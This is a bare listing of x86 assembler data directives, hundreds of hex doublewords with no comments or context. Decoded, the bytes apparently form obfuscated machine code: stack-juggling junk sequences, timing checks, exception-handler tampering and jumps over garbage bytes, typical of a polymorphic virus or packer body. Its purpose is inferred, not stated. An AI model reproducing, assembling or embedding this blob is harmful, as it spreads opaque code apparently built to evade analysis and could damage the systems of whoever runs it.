		dd 0DF85h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1704h, 0C3504000h, 0E9339018h, 6AF88B66h, 56006A02h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 1C57533Bh, 90F4EAC4h, 0E8605250h, 10h, 6F3D8671h, 0DC7EBA2Ch
		dd 7EC701F7h, 0F0522747h, 619CB15Bh, 585A310Fh,	1B8F0F50h
		dd 0E8000000h, 13h, 0CC7C72B6h,	0C59408B7h, 0A726D5FAh
		dd 987F178h, 0B7C4E572h, 6A905F46h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 75DCC356h
		dd 9E8D3h, 94430000h, 0CDAFDC96h, 0BF595516h, 1BE19098h
		dd 5195FF5Bh, 0F064800h, 118Ah,	0CE900h, 54AE0000h, 0ABEEEFB8h
		dd 0C7AE781Eh, 9D295945h, 6482299h, 0E13E9h, 0E800h, 815D0000h
		dd 4CE8B5EDh, 0E9EDB706h, 9, 46B6DA88h,	0A8CA1C5Dh, 57006A0Fh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 755AE68Bh, 13E63261h, 304DBD8Bh, 0BD890648h,	64812BDh
		dd 93DA858Dh, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 8BFFB1C3h, 0FE94Ch, 0FD7F0000h
		dd 373079D9h, 0BF3F0B3Fh, 0DF698791h, 48950CFh,	53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 61D75094h, 7F2DB4FCh, 81667D06h, 640777F7h, 35FFh, 0BD290000h
		dd 648291Dh, 10C38166h,	258964E1h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 5BC35141h
		dd 0F7B3E846h, 0A19D8BFEh, 0FF06481Bh, 481AD185h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 4BB99AAAh, 1DA68D4Eh, 0F98BBCC3h, 6AFF6Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0E3E931C3h
		dd 0E799D09h, 8A0F0648h, 6, 2F719589h, 0B5FF0648h, 6480E25h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4AC35747h
		dd 93EC647Ch, 64654D2Fh, 8E8h, 0DF073500h, 71D021Dh, 0E19D8BB7h
		dd 5F06480Fh, 10D995FFh, 6BE90648h, 1000001h, 480439B5h
		dd 0B0DE8A06h, 7E800h, 0FEC00000h, 0DF188258h, 4DF1BFA4h
		dd 0E65B0AC7h, 0E4D2B370h, 8E971h, 6FCF0000h, 0FD345D2Eh
		dd 613CBDB0h, 134830Fh,	0D98B0000h, 0FC8B60Fh, 28Bh, 0BAFE8B00h
		dd 6, 2BF7E781h, 0C18B583Bh, 0EF9BD0Bh,	0BF660648h, 0E8C1C7E5h
		dd 66F98B04h, 0C82BE2F7h, 61C38166h, 81D18BB4h,	0F8DCFBEBh
		dd 0C1BD8B35h, 0E9064821h, 0EEh, 4C44858Bh, 8B665F4Ch
		dd 7C083DAh, 0CE8h, 48EC4B00h, 3E2379AAh, 764B0193h, 819D2B6Eh
		dd 5B064804h, 0E900C083h, 0Dh, 80864A00h, 0D7AAE69Bh, 7FA85A3Bh
		dd 0FD03B6Bh, 4D83h, 14E800h, 730A0000h, 76193DA0h, 88FCB51Ch
		dd 2371DF2h, 55AA2C3Fh,	0BF6691C5h, 0E95F81EDh,	8Ah, 445BD31h
		dd 0E9600648h, 0Dh, 1238B3FBh, 5B603283h, 1E30AAB9h, 0BE957h
		dd 0B2450000h, 13E01170h, 9B10998Dh, 8D8B6116h,	0FFFFFFFFh
		dd 3339B589h, 0EE90648h, 53000000h, 268A80Dh, 44EAF4BAh
		dd 64DA267Eh, 1E18372h,	38840Fh, 8D890000h, 64810E9h, 0FFFFA583h
		dd 0E9FEFFFFh, 9, 9C0A7E40h, 0DD20B538h, 44958997h, 0F5F4C4Ch
		dd 686h, 3D9D3100h, 8B06480Ch, 4806E99Dh, 0E906h, 0B58D0000h
		dd 64C6412h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 8692A4C3h, 2D95FF18h, 6A064809h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 79B1C357h, 0A8E50E98h, 51C459F0h,	2A71B529h
		dd 87B90648h, 0E800000Eh, 12h, 770932C2h, 7332FC37h, 0E02D2768h
		dd 0D61BEE5Fh, 5FFC3751h, 6AFCE183h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 24C1C355h
		dd 6EECD13Bh, 61BD0BF4h, 8906481Bh, 480FDDBDh, 0B509FC06h
		dd 6482765h, 0B8h, 82E78100h, 2B433046h, 51006AD2h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 5D0C4D34h, 5A51231Ah, 8E0F1086h, 16h, 11E9h,	0A0F17B00h
		dd 6371FE0Bh, 99C4614Fh, 7F1FDF39h, 33AD3218h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 624793C3h, 29B6C709h, 3ADB501h
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 10174FC3h, 65BE5CE9h, 0E91C3797h,	11h, 4F2AA7B8h
		dd 0EED9B8CEh, 0F4673A6Dh, 402B2601h, 0EB8166AFh, 0BB6641B7h
		dd 880DD4B2h, 8B000000h, 482F95BDh, 5958B06h, 80064814h
		dd 8D8B0AF3h, 6483025h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 76C35646h, 0ADAD38E4h, 84B1BE90h, 0AE956h
		dd 0FA370000h, 0C7228A2Fh, 0DF55E4C9h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0EC37E7C3h, 0FE8AE994h
		dd 83DEB70Fh, 4812FDBDh, 840F0006h, 62h, 30A59589h, 0B80648h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 4FD9C353h, 0BD8B1907h,	6480E41h
		dd 4E808D8Dh, 0BD8B0648h, 6480901h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0EFE05DC3h
		dd 199376E6h, 0BD830CFCh, 6482AD9h, 0C840F00h, 6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 1285C353h, 0E67FCD8Eh, 0E761BF66h, 6DB58960h
		dd 6606480Ah, 8361DE8Bh, 482AD9BDh, 840F0106h, 3EAh, 10820Fh
		dd 0BE90000h, 38000000h, 5BD92F9Fh, 3340FF40h, 0BD835C19h
		dd 6482AD9h, 91860F03h,	6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C9C0C350h
		dd 1CD19D0Bh, 8B600648h, 0D98C66F8h, 80FE8B66h,	6A04E1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0C127CCC3h, 33B55D49h, 20358D89h, 0B70F0648h, 0FC90AF8h
		dd 12584h, 4D9D8B00h, 8B064812h, 48115985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0A0D95206h, 0F1D59723h, 0DB8166FAh, 8533C4A8h, 6481219h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8C35747h
		dd 80D94156h, 0B35040EFh, 240489C9h, 0AE8h, 0C3393500h
		dd 0EC10F4B8h, 8B75F39Fh, 48126D9Dh, 6A5B06h, 0BEB8BB66h
		dd 4E8h, 1F03FF00h, 0CE800h, 691B0000h,	19F4A6Bh, 0B1A017DFh
		dd 48BF0AF6h, 5F433914h, 8E950h, 58C0000h, 0EC4E88E8h
		dd 448B1FBDh, 8B660424h, 0B3008BFEh, 24448917h,	585B5304h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BBC35343h
		dd 66F9C441h, 0BF66567Ah, 95B14D2h, 4830D98Dh, 4195FF06h
		dd 89064807h, 480411BDh, 89858906h, 0E9064BB6h,	11h, 0B66F87E7h
		dd 52029001h, 0A3BF81DDh, 51DC005Ah, 219D895Dh,	0E906481Ah
		dd 1B0h, 16A1B529h, 858B0648h, 64BB681h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 2AC35343h, 0C31BC1C9h
		dd 4F78122h, 0C72213BBh, 1800h,	1BD3300h, 8B064809h, 4BB685B5h
		dd 6830F06h, 89000000h,	481A8195h, 85858B06h, 6A06481Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0A957C350h, 75BD8960h, 89064800h,	89565606h
		dd 481ACDBDh, 8B5F5F06h, 48115985h, 0CDBD0306h,	6006480Bh
		dd 204306B9h, 0FE932h, 4A830000h, 0ABAF2A07h, 7488BE09h
		dd 6EF5EE91h, 46896123h, 50006A04h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 79B14D43h, 0BD8B0E98h
		dd 6480621h, 24348950h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0D6C35040h, 0C951B001h, 0B9B5899Eh, 0FF06480Bh
		dd 4BB681B5h, 0EAAEBF06h, 0BF6867DAh, 50902DE8h, 178B0F52h
		dd 0E8000000h, 11h, 52ADA741h, 63B50D8Eh, 847EB233h, 0D74CE6E5h
		dd 310F5FFDh, 10E9h, 0C154BD00h, 383B2DF8h, 58922E4Ah
		dd 0D6C919E6h, 81585A27h, 1B402404h, 6A6FF1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 858D11C3h
		dd 64BB689h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	9BC35646h, 9D0943A6h, 64821DDh,	7E950h,	0A2240000h
		dd 7C620020h, 2404895Ch, 4195FFF9h, 0F8064807h,	0D8B70F61h
		dd 2AD985C7h, 30648h, 83F50000h, 4BB689BDh, 840F0006h
		dd 44h,	58E969B7h, 6A000000h, 3E85100h,	20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 9D88C351h, 6171CC56h
		dd 38D0Fh, 8B660000h, 0BE8D9h, 123A0000h, 0D770E89Dh, 0AAEDA701h
		dd 5B5F512Ch, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 0E8C08B00h, 0Ah, 0C4AC008Ah,	0FB7BBEFAh, 0EE852B4h
		dd 6F000000h, 0D4C9D748h, 0C737484Fh, 73231C84h, 0C09EBB6Bh
		dd 5F5B18EAh, 6ADEBF0Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0AFCCC352h,	3A18F77Dh
		dd 66748CE4h, 0BD83D88Bh, 6482AD9h, 0CC850F03h,	6A000003h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 4173C351h, 6C5384Ch, 67B48E1Bh, 0B689BD83h
		dd 0F00064Bh, 39A84h, 3840F00h,	66000000h, 0B5FFDE8Bh
		dd 64BB689h, 7F4BD781h,	95FF7BF6h, 64809F5h, 15719D23h
		dd 12E90648h, 1B000000h, 1462E89Fh, 4A988565h, 7E5C70Eh
		dd 3D57FA8Fh, 7DB58B76h, 0E8064BB6h, 6,	7483FFEh, 9D8BF638h
		dd 648145Dh, 0DBD8B5Bh,	0C7064818h, 1000106h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 9065B101h, 9818589h,	8B560648h, 4829D99Dh, 8F0F5B06h
		dd 4, 0C59DBB66h, 24348950h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0BCC35242h,	16B0B03Ah, 0C9482112h
		dd 0B689B5FFh, 6A064Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0C66C53C3h, 6446DF6Ah, 95FFA31Eh
		dd 6480061h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0E6C35040h, 6A7D421h, 0B58B5AD5h, 64BB67Dh, 2F298589h
		dd 858B0648h, 6480F25h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0CBC35242h, 0D9AE1265h, 0C5C48D54h, 0DE8B66AAh
		dd 7DBD89h, 86890648h, 0C4h, 6840Fh, 9D8B0000h,	6481409h
		dd 1405958Bh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 7F564EC3h, 3752CCC9h, 1B18509h
		dd 0C2830648h, 69BD8B04h, 89064828h, 8D892050h,	6480B9Dh
		dd 77EECEBFh, 0D4858D5Fh, 89064BCAh, 0B886h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0E680DBC2h, 0C3816671h, 6A1E8Eh, 0F422BF66h,	0B689B5FFh
		dd 0EE9064Bh, 1B000000h, 97030C6Bh, 496705B5h, 52F3A68Bh
		dd 5195FF84h, 66064800h, 960905BFh, 0CE9h, 37349F00h, 2A2AC893h
		dd 0FB88CB74h, 0BE95003h, 92000000h, 0A0A54D0h,	0A4D1C360h
		dd 0FF969EFAh, 4BB689B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0FE9CCh, 3CBA0000h
		dd 6A54F06Dh, 0A05456D5h, 6F941A54h, 2995FF1Dh,	66064814h
		dd 8335B1BBh, 4831A9BDh, 840F0006h, 39h, 0BB96DF8Bh, 592C2CBAh
		dd 0FA8B6650h, 14E996h,	0E0170000h, 0DAD586D9h,	13DEF1F1h
		dd 0CBD88493h, 0C9D9AD8Ch, 7E83F96h, 0A5000000h, 6571A82Ch
		dd 0B509DE50h, 6481BD1h, 89B5FF5Bh, 6A064BB6h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0BF7BC351h, 786099FDh, 0FD95FF10h, 23064813h, 480591BDh
		dd 89B5FF06h, 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 55AAC352h, 0CAD91C5h
		dd 8E83Dh, 1FF80000h, 0DF6CDA9Eh, 0BD89A2E8h, 6481F0Dh
		dd 7D95FF5Fh, 0F064817h, 68Bh, 0F6E38100h, 8368065Eh, 482F1DBDh
		dd 840F0206h, 34h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 3C35343h, 2B3D80D8h, 4816DD9Dh, 51858B06h
		dd 0C6064815h, 9D8B0000h, 6482BF9h, 16E185C7h, 648h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 51D791C3h, 0BCD9D89h, 0E95B0648h, 0FFFFF330h, 6AC18Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0BD8955C3h, 64814B9h, 1255858Dh, 8B660648h, 0E95390DFh
		dd 0Eh,	40D397A1h, 60CC37C7h, 0F732D8B5h, 505FFF87h, 0D800Fh
		dd 8E90000h, 0DA000000h, 0C41F7E4Fh, 90C8F6CFh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 47C35141h, 0BF0F1BBBh
		dd 0BF006AFFh, 1FAC1044h, 9D8B006Ah, 64830DDh, 0F908858Dh
		dd 6A064Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 80FC28C3h, 0C08317CBh, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 86D45A8Fh
		dd 13E8597Ah, 0CE000000h, 11F1FA59h, 9983CF77h,	7563F7FEh
		dd 5B94CF0h, 5F502573h,	68E0F5Fh, 89000000h, 48023595h
		dd 0F509006h, 83h, 6A9000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 5EA97C3h, 8C0F85A6h
		dd 6, 200DBD8Bh, 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 18C35040h, 0A29CB46Dh, 3444528h, 12699D33h
		dd 0BD030648h, 64815A1h, 0BF66006Ah, 95FF708Eh,	6482B2Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h
		dd 7498AF01h, 9B774DE1h, 598D895Fh, 8D064809h, 4B99388Dh
		dd 0E9F88B06h, 11h, 0A3043669h,	0CB1988C9h, 19787F3Fh
		dd 6E8FBB1Bh, 89D1FF55h, 48277DBDh, 0F78106h, 837DB776h
		dd 4830E5BDh, 850F0106h, 99h, 2FA9BD03h, 26A0648h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 48C35343h, 0B1B6DF9Ah
		dd 30DDBD29h, 0F900648h, 482h, 18BB6600h, 0D98B50F4h, 52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 5195FF62h, 6A064800h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 6EDBC352h, 93122829h
		dd 13E9F5h, 40D00000h, 723FA81Ah, 5965A00Bh, 5D15B5A7h
		dd 259A8EA9h, 0EAFE962h, 0E80000h, 5D000000h, 0F912ED81h
		dd 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0E960CEC3h, 0Ah, 7514721Eh, 0B7E1FEFBh, 0DE97107h
		dd 0A7000000h, 0A30B334Ah, 296F6046h, 0BA77169Fh, 0FE8B6661h
		dd 93DA858Dh, 8589064Bh, 64814E1h, 28D98D89h, 50900648h
		dd 0D860Fh, 52500000h, 310FD8B7h
		dd 0E799FBFh, 90585A1Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0E9C35646h, 8D0F60B5h, 6, 6A1BD2Bh, 8B660648h
		dd 4DBF61DAh, 642212FDh, 35FFh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 558C73C3h
		dd 79CEBE57h, 10E855CFh, 69000000h, 4979305Bh, 539D5F25h
		dd 42E568F1h, 893EBC7Ch, 4807F98Dh, 0BF0F5F06h,	258964FAh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 54C35343h
		dd 0D0C04464h, 85FF1A92h, 6481AD1h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 41C35242h, 0FE796F30h, 43212FD7h
		dd 6AFF6AB3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 36FC351h, 0E7BF6608h, 71B5FFADh
		dd 6A06481Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0C0A7C355h, 5ACB811Dh,	0FF3DACCFh
		dd 4810D995h, 166E906h,	0BD030000h, 6481EE5h, 0BD8B00B0h
		dd 6482329h, 0BD8B70E6h, 64812E5h, 0AE871E4h, 9A000000h
		dd 0C81CBB6Ah, 7F013F0Dh, 9E98Ah, 0C30D0000h, 69D3AE2Ch
		dd 5FEF4973h, 830F613Ch, 128h, 312D9529h, 0B60F0648h, 0FE8B66C8h
		dd 333D9D31h, 6BA0648h,	66000000h, 66C6CCBFh, 8BECACBBh
		dd 5E9C1h, 0EEDB0000h, 0C12FBADFh, 9D8B04E8h, 6482389h
		dd 66E2F766h, 234EE781h, 8C0FC82Bh, 6, 0DF59501h, 0D18B0648h
		dd 6E9h, 42BA2800h, 0E9E48ECBh,	13h, 0A448696h,	0B255199Ah
		dd 296EDB60h, 0F5931228h, 0E98A2871h, 0B4h, 0FE9h, 6820600h
		dd 19D955Ah, 0A85FCA2Dh, 17B4CCAh, 4C50858Bh, 0BF0F4755h
		dd 9D0960DAh, 64817B9h,	7C08361h, 83DE8B66h, 5E800C0h
		dd 0F6000000h, 40C6B2CBh, 2810Fh, 88B30000h, 0FD03B5Fh
		dd 2783h, 198A0F00h, 0E8000000h, 0Dh, 6FCF33CEh, 0FD345D2Eh
		dd 0A83BBDB0h, 0D59D8B76h, 5F064812h, 47E9h, 0DFBF0F00h
		dd 0FFFF8D8Bh, 9D8BFFFFh, 64804BDh, 0F01E183h, 2F84h, 559D8B00h
		dd 83064811h, 0FFFFFFA5h, 11E9FEFFh, 8B000000h,	0EB86F72Bh
		dd 0A8C8D1DFh, 9950369Dh, 4689B17Dh, 4C509589h,	0E9F94755h
		dd 0
		dd 7299B58Dh, 6A064Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 2D24C3C3h, 0FE3E74AFh, 6A32CA4Eh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 755BCC60h, 65AC4F78h, 0FFDABF0Fh, 48092D95h
		dd 999D8B06h, 0B906480Bh, 0FE7h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 16h, 0A6C35141h,	8B668C72h, 0FCE183DAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 92C35242h
		dd 8B630DA4h, 2A5011C0h, 66FCFA8Bh, 97DBEB81h, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0A9E54939h, 68F598E6h, 9D2917C9h, 6483365h, 0BAh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0D9D8B51h, 89064829h, 48053D8Dh, 0ADF98B06h,	0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 1C55C350h, 8A5A4D42h
		dd 701E336Fh, 30D8589h,	0B5890648h, 6480CE5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 2FC35141h, 0FF405BD9h
		dd 5C193340h, 8AFD8A4Eh, 880DDCh, 958B0000h, 6481405h
		dd 13E9h, 0F2C82B00h, 661F105Dh, 0F181D7F0h, 3B4C0ACEh
		dd 111CB279h, 30258D8Bh, 5E80648h, 6C000000h, 0B025206Dh
		dd 0A59BD89h, 8B5B0648h, 482BC99Dh, 0C28B5006h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C605C355h
		dd 71850911h, 0F906480Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0B2C35646h, 0E09DB51h, 818A0CC4h, 0BE9h
		dd 936CEE00h, 0B2A13AAFh, 2538AC54h, 83FBBF0Fh,	4812FDBDh
		dd 840F0006h, 1Fh, 1B75BD8Bh, 0B80648h,	8B000000h, 482B21BDh
		dd 808D8D06h, 0FF06484Eh, 0DFC381E1h, 83253E0Bh, 482AD9BDh
		dd 840F0006h, 40Ch, 11799D8Bh, 0BD830648h, 6482AD9h, 14840F01h
		dd 29000004h, 4812319Dh, 0D9BD8306h, 306482Ah, 3CB860Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0AB5E97C3h, 9D8B396Eh, 6480A2Dh, 0B99BD23h
		dd 66600648h, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 9B3D5AC3h, 0F948318Dh, 1C6DB589h
		dd 0E0BF0648h, 80127904h, 0F38004E1h, 0FC90A16h, 12284h
		dd 0E7816600h, 858B4101h, 6481159h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0E2C35242h,	579691ECh, 81665749h
		dd 5FB3DDDFh, 12198533h, 6A0648h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0D03EC3h, 0EA1C7DB2h
		dd 8C0F189Ch, 2, 9D23FA8Bh, 6482B45h, 0FE8B6690h, 0A32BBF50h
		dd 1901FEEh, 48326195h,	0E9006A06h, 9, 8DB0ADCDh, 57C240E8h
		dd 4E8D5h, 3FF0000h, 6650001Fh,	8BAC7ABBh, 8A042444h, 66008BF9h
		dd 4489F88Bh, 52500424h, 0FFE8B66h, 0F08B6031h,	1E436BFh
		dd 585A6120h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8B664C95h, 4195FFD9h, 0F9064807h
		dd 0B6898589h, 6A064Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 927C58C3h, 0DB80426Eh, 0F987BF67h
		dd 0B0E97B0Dh, 0E9000001h, 7, 177FC4CFh, 8B8EDB40h, 4BB68185h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 94039B8Bh, 5E9D6h, 9510000h, 0C7300FD4h
		dd 1800h, 0F7DB8000h, 0B685B58Bh, 6A064Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7B428AC3h
		dd 0AD4BBB6Fh, 858B3ACBh, 6481A85h, 0EE9h, 0A6CD3F00h
		dd 34338DDDh, 73BB1FFBh, 8920EC03h, 19950106h, 8B06480Ah
		dd 48115985h, 0BF7DBB06h, 468977B5h, 0C9BD8B04h, 5006480Dh
		dd 7DBEC6BFh, 24348902h, 5B509h, 0B5FF0648h, 64BB681h
		dd 0B299501h, 95290648h, 6483295h, 4E8h, 1F03FF00h, 0DF8B6600h
		dd 0F606050h, 8Ch, 6140B700h, 0BF19BA66h, 24448B61h, 6BBF6604h
		dd 56008B8Bh, 12E9h, 9046D300h,	7A7C8011h, 0FA08BD57h
		dd 673DCE3Ah, 5F250A71h, 4244489h, 58FB8B66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 34C35343h, 0FF75E063h
		dd 8DDA76AFh, 4BB68985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0E91BF726h, 90E7BF25h
		dd 8950F708h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0FBB1DFC3h, 9FE42BFAh, 4195FF3Bh
		dd 6A064807h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0EDBDC353h, 0DF6B3C38h, 0E5BD8B51h
		dd 61064806h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	20C35141h, 0F87471Eh, 31D9C54Dh, 0E51BD89h, 85C70648h
		dd 6482AD9h, 3,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	1AC35040h, 0BD83D0B0h, 64BB689h, 3A840F00h, 89000000h
		dd 4810919Dh, 62BB6606h, 46E986h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 96711BC3h
		dd 78D93A77h, 0F63EF23h, 8Ah, 0C305000h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 80DA8B66h, 6A2CEBh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0E63042C3h, 0E8870FE1h, 8, 48D3DF9Dh, 0C0E5B6DBh, 10E8h
		dd 11DDA200h, 2A64126Bh, 0C7044A6Eh, 69CF5DCBh,	14E857h
		dd 0EE560000h, 773A5DECh, 1ADD752Eh, 0AED07A3h,	0D153FDA9h
		dd 5F5B97D4h, 0D9BD835Bh, 306482Ah, 482850Fh, 0BD830000h
		dd 64BB689h, 75840F00h,	66000004h, 0D25FDB81h, 0B689B5FFh
		dd 850F064Bh, 0Bh, 6E9h, 1E43B600h, 0FF245840h,	4809F595h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 2E16F486h, 89B607E6h, 4833399Dh,	6850F06h
		dd 81000000h, 6E1684D3h, 9D89603Ch, 64807EDh, 0AE9h, 5E274300h
		dd 0E64A60BBh, 61F6A8BBh, 0B67DB58Bh, 9E9064Bh,	5F000000h
		dd 1473BE42h, 89E48D74h, 106C7h, 6A0001h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 152E57C3h
		dd 0DD2EEF78h, 0BB129F05h, 32A0A6A2h, 7D95BB50h, 348973A9h
